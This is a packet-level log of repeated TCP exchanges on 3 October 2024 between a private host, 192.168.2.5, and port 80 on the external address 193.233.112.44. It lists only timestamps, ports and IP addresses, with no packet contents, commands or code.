Oct 3, 2024 23:17:12.814973116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.814990997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.814996958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.815026045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.815032005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.815068960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:13.595072985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:13.595101118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:13.600100040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:13.600192070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.095220089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.095330000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.160916090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.166184902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.515538931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.515598059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.515628099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.515665054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.515692949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.517956972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.522850037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.874756098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.874831915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.884708881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.884834051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:14.889555931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.889790058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:14.889818907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.267992020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.268088102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.274523973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.274703979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.279741049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.279784918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.279813051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.847377062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.847610950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.982266903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.982300043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:15.987761974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.987802982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:15.987831116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.364278078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.364365101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.369760036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.369786024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.374691963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.374722004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.374787092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.755880117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.755945921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.761744022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.761744022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:16.766799927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.766840935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:16.766879082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.151427031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.151487112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.161797047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.161859035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.166809082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.166846991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.167010069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.664247990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.664319992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.672280073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.672342062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:17.679224968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.679425955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:17.679441929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.088803053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.088876009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.098318100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.098356009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.301646948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.301820993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.301999092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.691875935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.692374945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.710136890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.710191965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:18.715250015 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.715269089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:18.715394020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.208532095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.208604097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.216039896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.216129065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.220997095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.221012115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.221117020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.602135897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.602197886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.609813929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.609853983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:19.614612103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.614820004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:19.614852905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.000453949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.000582933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.008817911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.008845091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.013670921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.013684988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.013750076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.505287886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.509138107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.516397953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.516434908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.521255970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.521271944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.521318913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.902054071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.905278921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.912921906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.912942886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:20.917879105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.917915106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:20.917982101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.293765068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.293859005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.300762892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.300836086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.305691004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.305846930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.305877924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.687100887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.687185049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.694123030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.694149971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:21.699579000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.699620962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:21.699647903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.200233936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.200345039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.207854033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.207911015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.213226080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.213269949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.213613033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.595102072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.595302105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.600960970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.600987911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.605880022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.605928898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.606076956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.990825891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:22.990942001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.996768951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:22.996815920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.002326012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.002368927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.002396107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.385432005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.385535955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.390752077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.390774965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.395998955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.396038055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.396089077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.892232895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.892299891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.898029089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.898063898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:23.902893066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.902904034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:23.903002977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.282856941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.282955885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.288203001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.288244009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.293076992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.293087959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.293211937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.670147896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.670238972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.677189112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.677236080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:24.682719946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.682733059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:24.682740927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.063889027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.063954115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.070382118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.070435047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.075191975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.075261116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.075370073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.450969934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.451065063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.457329988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.457382917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.462337971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.462351084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.462359905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.839143038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.839225054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.845653057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.845762014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:25.850399017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.850611925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:25.850622892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.287623882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.287811041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.292844057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.297174931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.297702074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.302000046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.302125931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.714315891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.714492083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.719492912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.719540119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:26.724334955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.724555969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:26.724744081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.105535984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.105680943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.112715006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.112756014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.117660999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.117675066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.117682934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.696281910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.696372986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.705303907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.705349922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:27.710319996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.710356951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:27.710412025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.088799953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.088871956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.096924067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.096946955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.101903915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.101955891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.101988077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.479119062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.479211092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.487103939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.487129927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.492284060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.492305040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.492330074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.982470036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.982604027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.989857912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.989892006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:28.994700909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.994750023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:28.994811058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.380556107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.380690098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.387953043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.388000011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.392817020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.392849922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.392935991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.893939972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.894001007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.899144888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.899183035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:29.904022932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.904033899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:29.904161930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.283704042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.283792019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.289601088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.289632082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.294506073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.294516087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.294739008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.691231966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.695413113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.703571081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.703602076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:30.708477020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.708518028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:30.709096909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.201950073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.202022076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.208024025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.208048105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.212819099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.212832928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.212954998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.592442989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.592520952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.597589970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.597631931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.602847099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.602869034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.602881908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.975766897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.975822926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.983258009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.983289957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:31.988537073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.988552094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:31.988711119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.362623930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.362792969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.371848106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.371896029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.377167940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.377186060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.377753019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.755129099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.755229950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.762063980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.762105942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:32.767702103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.767716885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:32.768208981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.154712915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.154845953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.161051035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.161117077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.166119099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.166141033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.166570902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.561887980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.562077999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.569556952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.569598913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.574490070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.574528933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.574712038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.948988914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:33.949064016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.956058979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:33.956099987 CEST	49710	80	192.168.2.5	193.233.112.44
